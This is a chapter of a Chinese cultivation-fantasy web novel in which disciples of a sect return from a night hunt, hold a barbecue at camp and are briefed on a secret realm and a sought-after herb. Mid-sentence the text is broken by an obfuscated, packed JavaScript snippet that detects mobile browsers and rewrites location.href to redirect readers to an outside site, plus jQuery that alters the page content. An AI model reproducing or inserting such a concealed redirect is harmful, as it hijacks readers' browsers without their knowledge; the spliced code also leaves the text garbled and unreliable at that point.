薛予蓁皱着眉想要说话,喘了几口气后却什么都说不出来,嘴角溢出一丝血迹。围观的几人都还没反应过来,那黑影却脚步急促地走了过来,二话不说地将人搂进自己怀里,迅速在心口处点了几处穴道,后又握着她的手传输灵气。
薛予蓁呼吸平缓下来,微微睁开些眼睛,防范道:“你想做什么?”
黑影听出话语里的敌意,叹了口气将自己的伪装解除。薛予蓁看着他一愣,“子书师兄?怎么是你?”
子书珹心疼地寻了自己衣袖干净的一角替她擦了嘴角的血迹,“小风筝,没事吧。”
子书珹那一击本就留了四分的力,薛予蓁看起来伤重的样子更多的是因为强行用了不熟悉的剑法,她借着子书珹的灵力调息片刻,脸色便缓过来了。
“我没事,子书师兄你并未用全力。”薛予蓁自然而然地回答了他的问题,答到一半想起这人没回答自己的问题,又道,“师兄你还没回答我呢?你为何要假扮黑衣人袭击我们?”
“啊!”子书珹没回答,一旁的莫泱倒是叫了一声。几人齐齐看过去时,就见他懊恼地跺了下脚,“我怎么就没想到呢!?带队的长老可是闵榭长老啊!”
先前也说了,闵榭长老最爱玩这一出,而好巧不巧,十次里莫泱被选着一道游猎就有九次。他自然是见识过这个“玩法”的,但向着褚霁远在一路,应该不太会有这么个戏份。没想到……
薛予蓁在和子书珹打斗的时候是主力,现下还有些灵力亏空。子书珹不让她自己走,便背着她带着这群得知真相后就沉默着的小孩们往回走。薛予蓁好些年没被人这样背着走过了,起初也有些不自在,后来觉得子书珹背上也挺舒服的,便也就接受了他这好意。
走了一半后,莫泱是缓过劲了,走到两人旁边,准确的说是薛予蓁的身边,道:“哎呦喂,师姐啊,真是对不住你,要是我早点想起来,你何至于如此。”
他虽这样说着,薛予蓁却没听出半点不好意思,碍于被子书珹背着走,也不好教训他,只哼哼两声,冷笑了一下。
莫泱没被她这样吓到,又好奇道:“不过你最后使得是什么剑法?我怎么没见过呢?”
子书珹原本是沉默着一直走着,听见这个问题,也不免好奇地偏了偏头想要听这个问题的答案。
薛予蓁闻言先是愣了愣,而后淡淡道:“这是幼时我爹教我哥哥的剑法,当时情况紧急,我一时着急便使了两招……”她顿了一下,“其实已经记不清楚了。”
薛予蓁的事情全宗上下也就这两年新进门的弟子不知道了,莫泱得到这个答案后眼神游移地哦了两声,就不再说话了。之后在旁边多动症似地挠挠这里,抓抓那里后找了个借口跑了。
薛予蓁好笑地看着他一溜烟地跑走,“这人真是……”
“伯父只教了你哥哥?”子书珹冷不丁地问道。
“啊…”薛予蓁回忆了一下,摇摇头,“那倒不是,后来听阿娘讲,一是因为我那时太小了,还没一把剑高。二是爹爹一开始给哥哥授课,我通常都是看一会儿就要嚷嚷着去玩。后来长大了,还是耐不住性子去学这些。”或许没有发生那些事情的话,她这辈子都不会习武,阿娘爹爹还有哥哥会保护她去做她想做的事情。
这话一说完,子书珹沉默了更久,直到要走出这一片林子了,他才哑声道:“往后,若是不熟悉的剑招,便不要轻易尝试了。”
“知道了,子书师兄。”薛予蓁道。她抬头看了看,看见了林子外营地的火光,顿时有些不好意思了,挣扎了一下,凑到子书珹耳边小声道:“子书师兄,快放我下去,被别人看见了,好丢脸!”
薛予蓁这个年纪正是好面子的时候,子书珹无奈地摇摇头,也没再强求,将她放了下来。一落地她便蹦跶了几下,看着的确是恢复了活力。
等到一行人回到营地的时候,就看见许乐禾和徐赠春一脸事不关己地站在一旁,而闵榭长老被一众弟子包围起来,正在对他提出的这个“好点子”抗议。而且看得出来,这两波弟子也是吃了点苦头的,许多人身上都脏兮兮的,都挂了彩。闵榭眼尖地看见自己徒弟的身影,正想出声叫他来救救自己,却见子书珹只是回来时眼神落到了他身上,而后冷笑了一声后就走到褚霁远身边去汇报了。
闵榭长老:不是,我那么大一徒弟,怎么出去一趟回来之后就不爱找乐子了呢?
施淼淼已经睡了一觉了,正等着薛予蓁呢。见她回来,便急匆匆地凑了个上去,将她摸了个遍,“方才赠春和许乐禾回来时,许多弟子都受了点伤,都是同门,也不知道下手轻点。”她抱怨地说道。“小风筝你没事吧。”
薛予蓁笑了一下,“夜猎一贯如此。我们同子书师兄切磋一番,也学到不少。”
她没说实话,却抵不住褚霁远闻见了她身上淡到几乎就要消散的血腥味,“受伤了?”
薛予蓁摆摆手,“小打小闹罢了,子书师兄已经替我看过,没什么问题的。”
褚霁远打了一道灵力到她身上,薛予蓁顷刻间就觉得自己身体不再疲惫。见她确实没什么问题,褚霁远点点头,“没事便好。下半夜好好歇息一下,我们天明就出发。”后一句话是对着众人说的。
弟子们和闵榭长老闹够了,这次的夜猎也确实是累着了,乖乖应声后便围着各自的火堆打坐调息。
薛予蓁其实在子书珹背上已经休息得够好了,她拉着施淼淼避开人群,从储物囊里掏出两只雪白的兔子,“师姐,瞧。”
这两只兔子皮毛雪白,眼睛红红的,许是因为受了惊吓,耳朵高高立起,鼻尖不安地耸动着。施淼淼看着兔子小小地惊呼了一声,伸手摸了摸,道:“好肥的兔子!小风筝,师姐给你烤兔子吃?”
施淼淼除了修习之外,研究得最多的就是厨艺,手艺简直了得。薛予蓁虽然已经辟谷了,但依旧馋施淼淼的手艺,闻言咽了咽口水,“好呀!好呀!”
于是,一众面目肃然打坐调息的弟子都迷迷糊糊地嗅到了一阵侵略性极强的香味。莫泱从来都不掩藏自己对食物的渴望,是第一个耐不住性子的人。他和薛予蓁离得不远,几乎是一转头就看见了那边燃起的火堆,以及,火堆上被扒了皮烤的肥兔子。
莫泱不争气地咽了一口口水,巴巴地跑到了两人身边,“淼淼师姐……”
施淼淼乐得投喂这些小孩,她笑了一下,“莫急,还要些火候。”说着,拿起调料在上面撒了一些,这一举动激起了更香的味道。
“淼淼师姐居然还带了调料?”莫泱奇道。
“嗯,我还并未辟谷,想着自己总是要吃东西的。”施淼淼道。
话虽是这样说的,但过去五天,众人都一直在赶路,施淼淼压根没有做饭的机会。对于这个问题,施淼淼指了指薛予蓁,“小风筝每天都会带我御剑一会儿,我那时会吃点东西。”薛予蓁顾忌着她,御剑的速度不会很快,她也乐在其中——毕竟不是每一个人都能体会到在空中吃饭的感受,一开始还有些紧张,后面施淼淼已经可以边吃边观看景色了。
莫泱点点头,“不过要不是要夜猎,我们完全可以乘飞舟去宁沂秘境。”
施淼淼并不在乎这些,不论是飞舟还是步行,对她来说都是一种新的体验。她拿着匕首割下一边的兔腿用油纸包好递给薛予蓁,又弄了另一边给莫泱。两人粗粗吹了两下之后便下了口,到底还是十六七岁的少年郎,对这些吃食还是抵抗不得,吃得嘴巴也是油亮亮的,眼睛也是亮亮的。施淼淼很满意这一幕,正要招呼凫华和百灿一起吃,转身却看见众人都眼神发亮地看着她。知道这都是自家门下的弟子,但还是不免背后一凉。
一名弟子笑了一下,拎起一只兔子,“淼淼师姐,可以吗?”
一刻钟后,营地里多架起了几个火堆,每个火堆都烤着食物,最多的就是兔子,其他的也有弟子们现抓的鱼和山鸡,甚至还有……
“这是何物?这也能烤?”又人看着串在树枝上的果实,疑惑道。
“不知道啊,但是淼淼师姐说这是槿稞果,烤好了之后又粉又糯。”另一名弟子答。
“槿稞果?原来要这么吃?我以前尝过,又酸又涩!”
结果就是后半夜大家谁都没休息,开起了烧烤大会。施淼淼自己倒没怎么吃,带着她的小调料罐在营地里忙得不可开交。是彻底打碎了她在这群人心目中的小姐滤镜。
更有甚者,吃完之后开始私底下讨论褚霁远了。原因无他,不过是褚师兄居然也拿着一只红通通的兔腿在吃。
“褚师兄居然也会吃这些,我以为他不会吃这种东西……”有人喃喃道。
身后有人轻笑一声,那弟子忙转身去看,正是路过的施淼淼。他正要道歉,施淼淼却摇摇头,“师兄当然会吃着这些,实际上他什么都会吃一些。”辣的,甜的,苦的,酸的,褚霁远虽然没有表现出来热衷,但每一次施淼淼去送吃食的时候,他都是吃的最香的一个。
那弟子听完愣愣地点了点头,倒不是说褚霁远吃不得这些东西。只是他在师弟师妹们的眼中,门内是冷然谪仙的样子,门外是冷面杀手的形象,况且修为摆在这里,他要比很多人都早辟谷,理论上来说对凡俗的食物应当早没了兴趣。
但事实是,褚霁远慢条斯理地吃完一只兔腿后,又吃了一条鱼和很多烤槿稞果。“淼淼的手艺总是这样好。”
施淼淼累了许久,有些疲倦道:“只此一回,我就算再喜爱下厨,也不乐意给这么多人做,简直累死了。”虽然是在抱怨,但眉目间却是洋溢着快乐的。
赶路的日子总是过的很快的,一行人又走了一个月,期间时不时地停下歇息一番,闵榭长老也不再让三人去捉弄他们,而是自己布阵玩所有人,自然是不包括褚霁远和施淼淼他们的。一路上有笑有闹地过去了,也不算是太枯燥。
在距离宁沂秘境不过二十几公里的时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467984|169845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
褚霁远再一次叫停了队伍。
“咳咳,”闵榭长老咳了两声,朝他们招了招手,“各位小朋友,宁沂秘境不日便要开放了。此次掌门让你们来,并不是要你们同其他宗门的人争个高低上下你死我活。须知,尽力去做便好。做不到的便点亮弟子牌,我会将你们从秘境中带出来。”他这时看着倒是正经不少。
“是!”众人齐声道。
褚霁远道:“在这休整一番,等到秘境要开时,我们再过去。”他说着,给子书珹和薛予蓁几人递了一个眼神。四人虽是不明白,却也是跟着他到了一个僻静处。
“可还记得‘碧绛草’?”褚霁远道。
四人闻言都是一愣。平阳城一事全是因为这所谓的碧绛草引发的,他们又怎么会轻易地忘记。见他们没忘,褚霁远道:“此次来宁沂秘境也不全然是为了历练,更是因为传说碧绛草只生长在宁沂秘境中。师父并不强求,但是倘若秘境中有碧绛草的线索,也希望你们去搏一搏。”
子书珹有些迟疑,问道:“褚师兄,碧绛草事关沉渊峰封印,掌门要这个作何?”
沉渊峰封印着魔界和五洲的通道,若是有一日封印被打开,魔界的魔物和魔修到了五洲,不知要造成怎样的伤害。
许乐禾嘶了一声,“你傻了啊子书珹?这种东西拿在自己手中,总比在别人手中要好吧。”
褚霁远闻言挑了挑眉,看了一眼许乐禾,“乐禾倒是说得不错。”
许乐禾被他这一声喊得鸡皮疙瘩都要起来了,讪讪地退了一步。
“这些日子我同师父探查了五洲的局势,有些人的确有些蠢蠢欲动,许乐禾说的是一部分原因。”褚霁远话只说到这里,“尽力而为,不可冒险。”
四人抱拳领命,“是!”
与此同时,另外一边传来一声大喊。
“啊啊啊啊——”
五人急忙赶了回去,却见莫泱毫不客气地给了那叫嚷的弟子一巴掌,“叫什么叫,不知道的以为你怎么了呢。”
那名弟子一时半会没时间去计较这一巴掌了,拿着自己的剑往他面前凑,“我的灵渊石!不见了啊!”他急得不行,将剑夹在腋下就扒拉着人群开始找。
莫泱挠挠头,“你,是不是掉在来路上了?”但所有人都知道这不太可能,毕竟那块灵石是嵌在那名弟子的佩剑上的,除非使劲去扣,否则是不会掉的。
“我,我,”那名弟子呆在原地,无措地握着剑,眼眶隐隐泛红,“那是我娘留给我的……”
薛予蓁猝不及防望进他的眼中,不禁心口被激了一下,下意识地抬手摸向自己的胸口,触碰到手底下那块玉佩时才心安了些。看着那名弟子的模样,有些于心不忍,“是什么时候发现它不在的?”
有人抢答道:“师叔训话时我都还瞧见了!”绝不是因为垂涎那块灵石,而是因为在阳光下太闪了,有些晃人眼睛。
那名弟子道:“方才在整理物资时,下意识摸了一下剑柄,便发现不在了。”
薛予蓁一开口,他们便都开始说起自己对灵渊石最后的印象了。但说到最后还是没什么结果,一名女弟子恰好帮着寻找的时候恰好看向薛予蓁,她捂着嘴小小地叫了一声,“呀,予蓁师姐,你的袖子,袖子!”
薛予蓁也在找,闻言满目疑惑地看向她,“什么?”说完又去拽自己的袖子,却什么都没看见,“在我的袖子上吗?”
“不是不是,师姐,你的背后!背后!”又有人道。
背后薛予蓁可看不到,她只好原地蹦跶了两下,但什么东西都没出现。
“不是不是,师姐,右边的袖子!”
“左肩左肩!”
“什么左肩,在右肩,右肩了!”
一通胡乱指挥后,薛予蓁终于怒了。她蹙着眉看向他们,“能不能有一个人给我说,什么东西在我身上!”
站在她身后的几个师兄师姐一开始都没作声,直到这个时候才憋不住地齐齐笑出声来。薛予蓁是真真疑惑了,她都要怀疑是不是根本就没有什么灵渊石,不过是有人存心看她的乐子,但今天不是什么特殊的日子。她回头看着他们,疑惑地歪歪头,“子书师兄,师姐?你们到底在笑什么?”
薛予蓁自然是没什么好笑的,但她此刻脸上写满了疑惑地歪着头,看起来十足的可爱。更不要说,她的头上还顶着一只……小松鼠,它此刻也是微微歪着头,好奇地看着面前的人类。这幅场景,简直是可爱加倍。
徐赠春正要给她说,就听见一个声音带着怒气远远地传来,“松——果————!”
说着,一道黑影就疾驰而来。到了近处,便看见一个少年从剑上摔了下来——其实说摔不太准确,那名陌生的少年本想跳下剑,却没想到自己的佩剑不听使唤,并未停下来,这才有些狼狈。但他也没真的摔到地上,只是踉跄了两步。站定后,竟还在原地斥了两句佩剑,方才将起收入鞘,朝着众人奔来。